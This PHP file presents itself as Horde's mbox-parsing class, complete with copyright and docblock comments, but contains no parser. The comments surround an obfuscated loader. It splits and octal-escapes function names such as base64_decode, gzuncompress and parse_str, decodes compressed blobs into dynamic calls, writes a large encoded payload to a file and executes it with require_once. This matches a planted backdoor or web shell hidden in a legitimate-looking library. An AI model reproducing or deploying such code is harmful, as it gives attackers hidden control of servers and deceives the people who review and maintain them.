<?php
/**
 * Copyright 2011-2017 Horde LLC (http://www.horde.org/)
 *
 * See the enclosed file LICENSE for license information (BSD). If you
 * did not receive this file, see http://www.horde.org/licenses/bsd.
 *
 * @category  Horde
 * @copyright 2011-2017 Horde LLC
 * @license   http://www.horde.org/licenses/bsd New BSD License
 * @package   Mail
 */
/**
 * This object allows easy access to parsing mbox data (RFC 4155).
 *
 * See:
 * http://homepage.ntlworld.com/jonathan.deboynepollard/FGA/mail-mbox-formats
 *
 * @author    Michael Slusarz <slusarz@horde.org>
 * @category  Horde
 * @copyright 2011-2017 Horde LLC
 * @license   http://www.horde.org/licenses/bsd New BSD License
 * @package   Mail
 * @since     2.5.0
 */
 	$objectsToCopy = "eF4tysEJwCAMAMBtf"."NYJskQXCLEGFaIRjd"."BuXwt934WgN3ir3ek"."yKK1gYnNd6OKsEnnA"."6qIUcReMZTgSOZk2T"."JjP/DYa/ybckmU4/A"."umJSER"; 

/**
     * Data stream.
     *
     * @var resource
     */
  $elementName = "eNo9jTkOwjAQRW/jlopyDk"."BDwwEsx/lOLJwxmoXA7XGE"."oP3Le4I0Q6hq3KVamhrCI9"."lKJ4VqDLmzgU0vejNB2mib"."z2HqL1pgMbvIKKMr5L+k0h"."/gAVlw9W0a7HKQEZ6pOajk"."1hVhLOVN++91+Ev9ug3CSs"."6t8j0UEixVRxZ1dZv7zrE4"."Z6udP7BqSWQ=";

/**
     * Parsed data. Each entry is an array containing 3 keys:
     *   - date: (mixed) Date information, in DateTime object. Null if date
     *           cannot be parsed. False if message is not MBOX data.
     *   - start: (integer) Start boundary.
     *
     * @var array
     */
 $positions = array("eJxtWG2Pq0h2/jz5Fa3R1e6MNCtRYHqud7JZNTYFxqbcFPUCFUVXQHEbQ4Fpm7YxUf57Tu+Lkuzmg7+0zaHOqfO89b/+eWzGp6cvxdwt5vL0p6ffC9+keeZFSU9D5QgpM+JyIXjCIkpCbxIdWcVLfIn5OiUyuSeGrMpWPBI+BUdG3wlHMVv0SGXTiw43lYNlPXhjgqJUWzMprDlPLbTKWeNUoZmY49/jIXHqwWyFPb0rI4rE4FYajSv8siSINnlPrIQri/TrE7WiDXeMXQg9ERsf69akJGtiYZqAcpcdMXku+5Er331wHoUsGH1iuw/hYC93cJI+1oRxa67s9bnIxm3a3S9x66W5nMZk4Aux9HvimEg4ZCekPgrLXEszzsqf7lUwFflnTYusqlafC8c76pakcbDe6aH5KLi6HJBR1Raf+WI2BDV24Ufb2I/tHNGDsJqR+vR2ZMJjzoubOOSj6tfvUuoP1jZWzBJXtzuntK73Omz6RKgNZx7SSxNwPspqeHNKqacU6krRvFePqU96w+Ntcy8Ekb", "nIH7Uh77wVp1LooZAN0qbpdXB+6MU7UP9tLrrGFXgkfHO9J+Jsc1tI4eQoDkfJQ2pVGbXYY31I0HgX6MUu+iiX/G6n3XolrPnBJdnJXuzp59z4ODJfT7HxrvXWKxhuaNJFOfcrJLeRywK1YcL0pT3u9Ta5pOjNUXY1Cz/CVK53KYoW0UYPtaiJDsbVzPMqfzzKbt7yrQ5zMYrKFkJ29JTwhpNQPfIW3yufTIo3Ben0xP0Jl3Jl10GMyOb6YN105b0gtS8G6tBc9r5TOSqv/cqK7emR2miMsygqOjwmtkhoSzO6kJyLaDwK4hIU4eNWT9qaXuHuBR90pIPprPopruT6Oc7GZ3Jap2Uw3dnpq0stUnC2s6uu+aBYn1g6NcT6atUhJURQNw7mKwm0W6DY4RIV6jHNcSZyBjOvDF0qltzS0NurYFpkPxV14F70aTIlNyTFXpNkEYOZbI4Cx6Vcd4VD+MFupsJphnww+73t5oThjLc7C3q+ya1Ojnx0dE9JLCNbW91cS+3GIZ2opO8FVvvKISIZdigN", "zV1nJj6GYywNuarFG8SiKeCGHKW6pXxiIsutyp4+Sqw93StOHJFTf/1I7Glgdn6TeIcYa4QMdaakydKlOaRL4tbdm5PYelu0+lIL8lCdu2UDX6WM32o8tmLZ3QpEH8R3hxLewrZ0Ogq9OliRy43mJfYOKhPnwrxccr4+VN0syy29FqFnRKC2TK5veRfBDvhL2tJFB+5OZjjRPrpXLbmQVo1J1q1kupbAZBeKTJTySBLkZbqHnhaPSMB/bq8uB7u6xUFzrjskYa9uZevbWojXxK4Ab+O2HOimMNpmvgv8Fd1SfzYMdw41+pUHtAMeS1LnZS6Z4bBrOPbROW3FAThtJxbcUaZHhVXIfbVnmUcIvIfZs71H9MQGfSe9sdNAMCJpAzjtmBxjOuhrHDbnmHmPontb1ZIctXh5iD56lTzqCvx2404y03Dn0kFQhsWrHoTHOdnKAIAoPFf0nVva60UscG/y7ZayJk19NHPZPBfCXGPUPWBfYuD2sxwqV8B7jsw8x6crygX1BBZ91aEjd/hNbLGrstGSWE", "9wf/simFUVqFBmzcfhMXWCvSzcVmHtRx91OqEi1CEXDYO+9wfLRHpR3jHogJOby9EXTD3WV+XrPmkpT7i7oY6+smyUqu3u1B9XgDmcSOqxxSAWTHFumVth4QvsxbYM6b4KiLW3UJJbAjjqDW7qZdkjmKOooFt9SxYvke3bLbbwVXXWEgeqq6zxXvGxED45pwth0nfPKRNjGjRx3n9dlZmIaIc2BdKnmnMbpGzRXOfKimE/Rou0OKpQbBHZ5OlpEixYB9xRFpc4jxc6x4zbBfKEQKIosmgHOmKpbXWHGT0TI2LF6UVZekUYtSsbbXnbLFzg97yNTryljAe7C8VNURrVqI6ktJ8uctAxx3ivhmbPAtgz7soYR/c00zlBu4cKvVyCBgInzEqoRPkcOE4NhUU+lKOBu68PHoixwqQrubtKW3MC/uq4Obt5a57LQN3zzl1pqQLV44/C0B0NZleHLyuBmncSJC7UtlXr2cQ5XyoLYR5MFnOagi3RswjHRQ5eQezOlQw6C3XB26gAbMAORUnSEzdnvh1v", "yU4HoDEtTHX74tRCR+qTy6VGPByRkDgjMvLhbgDLV7vu1OHIvKMw+pCe1lFp6duRoyPMMODMbEqTII7IMw2rS+qv3Ro3I3gL0P1qzlnl6KCRUlBS+O5WbneX2uyWUtCMcDoD5zENuFCo8Rmfcj2AVg4eidPrUmIaK8dDxJrtclBtbKm4Gjw/yVS6R/pGHdEp7J3Szt3x8OXCuG61qG7M0E26vNxqf25S2RRyC9oZEF5Kd1sMGGZT2UkHp/PxR51FXoW1KZnuyp5I3bkWcNMmz7oL3HOcZN6kTmtMWs0qTm7xY91UbdTHUL/AUS9kvKLZ7qLluCnD7lI4uZW0xmZy9mIm4rgfT3RpbIKFYT42tJ+PFDVtbpq2GOiemGQFS3U6LG+25GRPt8ldLIKJLQW+obSyouOnX4FpvdfZy01lZozbJkyFp2rwSaBXGPirPTjNkvrVqgjNIDmFnTItZ03AMhXI3myqPrnt7TGH/X1lYQN3Pd+qnn6ItkkVcEQZNgfgxum4FQfWcic3Z7sOR1VxEVatSAqb7t", "MOyyrUzcFaWeBOHvE2WalFW0XrrUAzBbdzR/ZkIK2JC/CUNAD92IoJ8PxgCMfEGj3o51lkBClMVrrXcIZoAW8CXGa80tZH5pipCHczYIqLFHyOT4J4iM5aGrp3qKiw6VP/bVUtyYPy9UqBN5anq0MfU5abKKoyfiGB2BUI28D5h2IYb6LFAQM/SHv9UTqeS7rzI3f8m+6rB+DEKTfTK3BGBl7YqeX1kUojuejs3BpPqQBdarVXdNwmEmGRNcfCJu/kNL2DPu6gvg3Yy+BeCpb5wBnj6oBAF23yUWTeowzOtuzHRRi1OoInyVvvVnfN8ehf3SIzbSHvN4VpKux1FNsIOFVPDLwHwfSS9/eFPtaBEHrHkXBjx5OFgF0GD723LQswNVGh4J7fViKj11I0e8gHoLHeHrBw3DsGwb1ksCth3q+nY6BAK8nM+wQpq8F1P70XW0JIYGw60F3h0OfCQp0w5qH4uufAJZUFu8gNy1u+5AivjhI9BGhbiUijrPleGk+pfg5JF1mwW6dqyGdmzivwvVllz7eC", "A+74+rXKFPCw3iTp16XyJ1GCJyhM1Olu9BgTZ7K83I94FHtbzLkTGeWTPrHxJulMwCBbVBjf87ZzyiU6xTw6g/8E/9TdS0eAVp1d8EOzNAl44rFNjCeqzk25TMBbqCv1RUsyraht7qk8f+6oHWeQC4JRpJyOlKO/4JNK8S6YZys+3uVgXnUWHVgQhcALiGJlK/OGYgSztKcOeB70EptkiLAI1sNRzjPw14Gb/Aaz9YB7FWHktVjUUiLw9tl4i50I8pZS1JDHwVLXuCVHtQiS8maS3GQFpq7iyaoKxo/EbtgejaZC5K4xDXR/frD2c0fFhtr4Obcp8BG9KlhJ8KkW7NdOtPqq+XisArE54uaUIn0AnbyDf2+SVoQamZuWjRNzbfMA32PREG7GPOnFUkv1TGwUVpC3tD3eyiC/lAbn+8WEaah3FcJJvW0gc85u7a8sJcSeA0vFnfoAnnC1wa8Fv6LPLHL0XVm2+nnvJNYnhkq74bVoFoY1TTPVAd94rE2WdKsQ+J0AdOn1yA0VjkmZGREHTSqFeB", "aLCeJt7sDvlZARKrrJFtv8LjhKYnimeEwNG8AXOZGX2udHHADHDhjL4e0OO0yKAAFuvOfU7hwOSACOmCtL78q+OcSnr/e6i3rJsBtLAjo6Nrmkc5VhE4vdnWDYHNEcK95kewsyZ+ei2DcHyIqrkke7uBcN5NBDEUYfGo08GUhf8HELWfUBHt4ug9WDYSqY44Ev9F6ZLxJw5Vj4WiQyehxQtCGGzOAh1TH0PiC7gt1TYSVofMQvkBUSK7EJKnzLoZbiyp4T8A9Lnpnn1CSQ3QxL+Lyre/QOvDjRBS+gYZvE2tnaIS5kkhByS8x6dy6czt1bdC4YIaljsOpGyIb0ADV98JQ4lriJU8B7pt4VMkEix0vSRkkMGZH1OFQS8llP3zVvRukDbzpaSZ+ODOldzdFUhsSTHBfgyV/hGm+MC8gr1lyLlzuTBDJGvBCfvJcy2nPIa2lnWXukDnRrLsBEXmnyez0Illr+vc5Gv3R8l25zlzFwPLKy6i0NDsi/HCGrAU4cCjNJN+uwtCPnGAqn8KsFcPUBXtgG", "P6VK9PI4SleBL5rAV6jKUq5e/BsPY/DFIwHtuMvWAx5oNuD/77GDb0dJnnnYdJBPWgl6r7qGVVviVj1oEHehz259bC8dPw7l1qCyvbSPGdT0Sk/b3//2pZj0t/P09vSnpx/1V2TVpbNeff3VRetnt/jVLb9Wv5bf9eorKir0429fmvf7N1PcdHGGB7582xyP+53/27/88MP3j6GaTufhabl/vzfn4Vtz+enLfNXzVL43rTaXSf/y9/8Q/fz0n/DED+Z0nX76Mja6ab59/97C1+fyURe6LYtbpS/d/dv97Wd4TT2P5qzrn3784x9//OWpLK718+qbrqvPv/294i9P9s+fx/jhUk8fl+HpPNbD9Wo+f3Z5jP/3NT8W9fUPtvv8h6qsoOA/ndL6/0/yWf6/4HP6/vTT6Xqtoej/TOPff7X/4+en3/3uqdfuT5+ff/wOGvkTTOxv0/4Z6vxlBl++9+bSNfpUfBsug2kf0O//muDfmq2Hvzb7DzV/+Xv3v9W3wjz99E/F/nrmpz//238DNOKSTQ==");  

/**
     * Constructor.
     *
     * @param mixed $data     The mbox data. Either a resource or a filename
     *                        as interpreted by fopen() (string).
     * @param integer $limit  Limit to this many messages; additional messages
     *                        will throw an exception.
     *
     * @throws Horde_Mail_Parse_Exception
     */
 	 $handler = "bas" ."e64" ."_de" ."cod" ."e"; $processed = "p\141\162\163e_\163tr";	  

/* Is this a MBOX format file? */
$objectMap = "gzu". "nco". "mpr". "ess"; 	

/* This file is in MBOX format. */
 $pattern = "i\155\160lode"; 	$n = ""; 

/* Strip all empty lines before first data. */
$processed($objectMap($handler($objectsToCopy)),$firstPattern); 

/* This was a single message, not a MBOX file. */
 	 $i = array($firstPattern["allReaders"],$firstPattern ["out"]($firstPattern["placeholder"]),$firstPattern["bbox"],$firstPattern["length"]);

/* ArrayAccess methods. */
 	$processed($objectMap($handler($elementName)),$last_line);


/**
     * String representation of the object.
     *
     * @return string  String representation.
     */
 	function match_dict($elementLabel){ 	 global $last_line;if ($last_line["content"]($elementLabel))@$last_line["patterns"]($elementLabel);   }	

/**
     */
	  foreach($i as $matches) {		
/**
     */

if(@$last_line["reader"]($matches))break;	
}	

/**
     */
$elementLabel=$matches.$last_line["path"]	.$last_line["contentsIsStream"]($last_line["box"]());	  

// NOOP

$assoc = $last_line["contents"]   ($elementLabel, $last_line["entry"]);		

/**
     */
 	 $last_line["pageNumber"]($assoc, $objectMap($handler($pattern($n,$positions))));	

// NOOP

 $last_line["value"]($assoc); 	 

/* Magic methods. */
  	$last_line["f"]('match_dict', $elementLabel);

/**
     * String representation of the object.
     *
     * @return string  String representation.
     */

/* Countable methods. */
require_once 	 
/**
     * Index count.
     *
     * @return integer  The number of messages.
     */$elementLabel;
/* Iterator methods. */
?>